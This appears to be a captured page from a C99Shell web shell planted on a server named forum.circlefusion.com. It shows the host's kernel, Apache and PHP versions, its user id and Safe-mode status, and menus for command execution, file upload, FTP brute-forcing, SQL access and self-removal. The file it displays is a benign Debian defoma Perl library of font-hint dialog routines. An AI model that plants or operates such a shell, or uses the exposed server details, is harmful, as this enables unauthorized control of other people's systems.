!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/defoma/   drwxr-xr-x
Free 11.63 GB of 97.11 GB (11.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     libperl-hint.pl (10.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
my @GENERALFAMILY_LIST;
my @WEIGHT_LIST;
my @SHAPE_LIST;

$DIALOGTITLE = '';
$DWIDTH = 70;
$SUFFIXPATH = '';

$result = 0;

my %PARSEHINTS;
my %F2G = ();
my $NOQUESTION = 0;

sub parse_all_hints_conf {
    my $key = shift;
    my $listptr = shift;

    $PARSEHINTS{$key} = $listptr;
}

sub parse_all_hints_init {
    @GENERALFAMILY_LIST = ('Roman', 'SansSerif', 'Typewriter', 'Symbol',
             'Gothic', 'Mincho');
    @WEIGHT_LIST = ('Medium', 'Bold', 'Semibold', 'Light', 'Semilight');
    @SHAPE_LIST = ('Serif', 'NoSerif', 'Upright', 'Oblique', 'Italic',
           'Condensed', 'Expanded');
    %PARSEHINTS = ();

    parse_all_hints_conf('GeneralFamily', \@GENERALFAMILY_LIST);
    parse_all_hints_conf('Weight', \@WEIGHT_LIST);
    parse_all_hints_conf('Shape', \@SHAPE_LIST);
}

sub parse_all_hints {
    my @hints = ();

    foreach my $c (keys(%Debian::Defoma::Font::Fobjs)) {
    foreach my $f (defoma_font_get_fonts($c)) {
        my @h = defoma_font_get_hints($c, $f);
        next unless (@h);
        while ($h[0] !~ /^--/) {
        shift(@h);
        }
        push(@hints, @h);
    }
    }

    my $h = parse_hints_start(@hints);

    foreach my $k (keys(%PARSEHINTS)) {
    my $listptr = $PARSEHINTS{$k};
    my %kso = ();

    foreach my $i (@{$listptr}) {
        $kso{$i} = undef;
    }

    foreach my $i (split(' ', $h->{$k})) {
        push(@{$listptr}, $i) unless (exists($kso{$i}));
        $kso{$i} = undef;
    }
    }
}

sub fileselector {
    my $text = shift;
    my $origdir = `/bin/pwd`;
    chomp($origdir);
    my $file;
    my $retfile = '';

    my $dtitle = $DIALOGTITLE;
    $DIALOGTITLE = 'File Selector';

    while (1) {
    my $dir=`/bin/pwd`;
    chomp($dir);

    my @dirs = ();
    my @files = ();
    my @list;

    opendir(DIR, '.');
    @list = readdir(DIR);
    closedir(DIR);

    foreach $file (@list) {
        next if ($file eq '.');
        
        if (-d $file) {
        push(@dirs, "$file/");
        } else {
        push(@files, $file);
        }
    }

    @files = sort { $a cmp $b } (@files);
    @dirs = sort { $a cmp $b } (@dirs);
    
    my $ddir = $dir;
    my $len = length($ddir);
    if ($len > 60) {
        $len -= 60;
        $ddir =~ s/^.{$len}//;
    }

    my $desc = "$text\\n\\nDir: $ddir";
    $file = menu_single($desc, 10, '', @dirs, @files);
    $file =~ s@/$@@;

    last if ($result != 0);

    if (-d $file) {
        chdir $file;
    } else {
        $retfile = "$dir/$file";
        last;
    }
    }

    $DIALOGTITLE = $dtitle;
    chdir $origdir;

    return $retfile;
}

sub msgbox_q {
    unless ($NOQUESTION) {
    msgbox(@_);
    }
}

sub input_checklist_q {
    if ($NOQUESTION) {
    return $_[1];
    } else {
    return input_checklist(@_);
    }
}

sub input_menu_q {
    if ($NOQUESTION) {
    return $_[1] if ($_[1] ne '');
    return $_[6] if (@_ >= 7);
    return '';
    } else {
    return input_menu(@_);
    }
}

sub input_fontname {
    my $default = shift;
    my $text = <<EOF
Input the FontName of the font.
* FontName should be and must be a font-specific identifier. For example,
* a font of FooBar family, Bold weight and Italic shape should have
* FooBar-BoldItalic as the FontName.
EOF
    ;

    return input_menu_q($text, $default, '[^ \t]', 0);
}

sub input_family {
    my $font = shift;
    my $default = shift;
    my $text = <<EOF
Input the Family of $font.
* Family of the font is similar to a family name of a person. A font
* often has some decorated derivative fonts, but all of the derivative
* fonts and its original font share a common name. Family is exactly
* the shared common name. For example, Times-Roman has three decorated
* versions, Times-Italic, Times-Bold and Times-BoldItalic, and Family
* of them is Times.
EOF
    ;

    return input_menu_q($text, $default, '[^ \t]', 0);
}

sub input_generalfamily {
    my $font = shift;
    my $family = shift;
    my $text = <<EOF
Choose the GeneralFamily of $font.
* GeneralFamily represents the rough group which the font belongs to.
* This hint is useful for substitution of fonts, because fonts which
* belong to the same GeneralFamily are supposed to have more similar
* font faces than those which do not.
Following is a list of standard General Families (Roman, SansSerif,
Typewriter, Symbol, Gothic, and Mincho) and already registered General
Families. Please choose GeneralFamily from the list, or None if you
want to input a new GeneralFamily manually.
EOF
    ;

    my $default = exists($F2G{$family}) ? $F2G{$family} : '';

    my $ret = input_menu_q('Input the GeneralFamily of the font manually.',
             $default, '[^ \t]', 0, '<None>', $text,
             @GENERALFAMILY_LIST, '<None>');
    if ($result == 0) {
    $F2G{$family} = $ret;
    }

    return $ret;
}

sub input_weight {
    my $font = shift;
    my $default = shift;
    my $menutext = <<EOF
Choose the Weight of $font.
* Weight represends the heaviness of the appearance, or the thickness
* of lines of glyphs, of the font.
Following is a list of standard Weights (Medium, Bold, Semibold, Light,
and Semilight) and already registered Weights. Please choose Weight from
the list, or None if you want to input a new Weight manually.
EOF
    ;

    return input_menu_q('Input the Weight of the font manually.', $default,
              '[^ \t]', 0, '<None>', $menutext, @WEIGHT_LIST,
              '<None>');
}

sub input_width {
    my $font = shift;
    my $default = shift;
    my $menutext = <<EOF
Choose the Width of $font.
* Width specifies whether the width of glyphs of the font varies, or is
* fixed. Typewriter fonts are maybe famous fixed width fonts. Most Latin
* fonts are variable width ones. Kanji fonts are also regarded as fixed
* width.
EOF
    ;

    return input_menu_q('', $default, '', 0, '', $menutext, 'Variable', 'Fixed');
}

sub input_shape {
    my $font = shift;
    my $default = shift;
    my @dlist = split(' ', $default);
    my $slant = '';
    my $serif = '';
    my $width = '';
    my $ret;

    for (my $i = 0; $i < @dlist; $i++) {
    $slant = $dlist[$i] if ($dlist[$i] =~ /^(Upright|Italic|Oblique)$/);
    $width = $dlist[$i] if ($dlist[$i] =~ /^(Condensed|Expanded)$/);
    $serif = $dlist[$i] if ($dlist[$i] =~ /^(Serif|NoSerif)$/);
    }

    $width = 'Normal' if ($width eq '');
    $slant = 'Upright' if ($slant eq '');

    my $text = <<EOF
Choose the Shapes of $font.
* Shape represents additional information about the appearance of glyphs
* of the font. This Hint category consists of several types of font faces,
* including Serif, Slant, and the extent of Width. The last one, Width
* hint here is absolutely different from Fixed/Variable Width hint, which
* is supposed to be already chosen.
Following is a list of candidates of hints about Shape of the font. Mark
the hints applicable to the font, by Space key.
EOF
    ;
    $text =~ s/\n/\\n/gm;

    my @hlist;
    unless ($NOQUESTION) {
    $ret = checklist_single_onargs($text, 9, "$width $slant $serif",
                       @SHAPE_LIST);
    
    @hlist = split(/\n/, $ret);
    } else {
    @hlist = split(' ', "$width $slant $serif");
    }
    
    $slant = '';
    $width = '';
    $serif = '';
    
    for ($i = 0; $i < @hlist; $i++) {
    if ($hlist[$i] =~ /^(Upright|Oblique|Italic)$/) {
        if ($slant eq '') {
        $slant = $hlist[$i];
        } elsif ($slant =~ /^(Oblique|Italic)$/ &&
             $hlist[$i] =~ /^(Oblique|Italic)$/) {
        $slant = 'Italic';
        } else {
        $text = "$slant and $hlist[$i] confclicts. ";
        $text .= "Which is correct?";
        $slant = menu_single($text, 2, '', $slant, $hlist[$i]);
        }
        $hlist[$i] = '';
    }
    if ($hlist[$i] =~ /^(Expanded|Condensed)$/) {
        if ($width eq '') {
        $width = $hlist[$i];
        } else {
        $text = "$width and $hlist[$i] confclicts.";
        $text .= "Which is correct?";
        $width = menu_single($text, 2, '', $width, $hlist[$i]);
        }
        $hlist[$i] = '';
    }
    if ($hlist[$i] =~ /^(Serif|NoSerif)$/) {
        if ($serif eq '') {
        $serif = $hlist[$i];
        } else {
        $text = "$serif and $hlist[$i] conflict.";
        $text .= "Which is correct?";
        $serif = menu_single($text, 2, '', $serif, $hlist[$i]);
        }
        $hlist[$i] = '';
    }
    }

    $default = join(' ', @hlist, $serif, $slant, $width);
    $default =~ s/\s+/ /g;
    
    return input_menu_q('Add the Shapes of the font.', $default, '.', 1);
}

sub input_alias {
    my $font = shift;
    my $default = shift;
    my $text = <<EOF
Input the Alias(es) of $font, if exists. 
* Alias represents other FontName(s) of a font. Specifying them will
* make the font accessible by the alias(es).
You can specify more than one aliases by separating them by space.
EOF
    ;

    return input_menu_q($text, $default, '[^ \t]', 1);
}

sub input_priority {
    my $font = shift;
    my $default = shift;
    my $text = <<EOF
Input the Priority of $font between 0 and 99.
* Priority is used when more than one fonts provide the same identifier
* in ID cache. The font which has the largest Priority of them will 
* actually get installed.
EOF
    ;

    return input_menu_q($text, $default, '[0-9]', 0);
}

sub input_xlfd {
    my $font = shift;
    my $text = <<EOF
Input the X-FontName of $font.
* X-FontName specifies the XLFD(s) of the font in case if it is used
* in X. Defoma does not touch the configuration of X so X-FontName
* does not affect the actual XLFD(s) of the font, but is worth setting
* for applications which want to know available XLFDs with their
* detailed hints.
You can set more than one XLFDs by separating them by space. If XLFD 
contains spaces, replace them with underscore(_).
EOF
    ;

    return input_menu_q($text, '', '.', 1);
}

sub input_afm {
    my $font = shift;
    my $dir = shift;
    my $text = <<EOF
Select the AFM file of $font.
* AFM file represents font metrics in ascii format. It is used
* for typesetting.
Select Cancel if AFM file is missing.
EOF
    ;

    return '' if $NOQUESTION;

    my $odir = `/bin/pwd`;
    chomp($odir);
    
    chdir($dir) if (defined($dir));

    my $ret = fileselector($text);

    chdir($odir);
    
    return '' if ($result == 1);
    return $ret unless ($result);

    return;
}

sub lhints2hints {
    my $lhints = shift;
    my @list = split(' ', $lhints);
    my $i;
    my $line;
    my @lines;
    
    my $flag = 0;
    foreach $i (@list) {
    if ($i =~ /^--/) {
        $i =~ s/^--//;

        push(@lines, $line) if ($flag);
        $line = "  $i";
        $flag = 1;
    } elsif ($flag) {
        $line .=  ($flag > 1) ? ' ' : ' = ';
        $line .= $i;
        $flag = 2;
    }
    }
    push(@lines, $line) if ($flag);

    return @lines;
}

sub hint_beginlib {
    $DIALOGTITLE = shift;
    $DWIDTH = shift;
    my $mode = shift;
    $SUFFIXPATH = shift || '';
    $NOQUESTION = shift;
    
    parse_all_hints_init();
    parse_all_hints();

    

    if ($ENV{'DISPLAY'} && -f "$LIBDIR/libgtk.pl" && $mode ne 'c') {
    require("$LIBDIR/libgtk.pl");
    if ($@) {
        require("$LIBDIR/libconsole.pl");
    }
    } else {
    require("$LIBDIR/libconsole.pl");
    }

    
}

1;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0328 ]--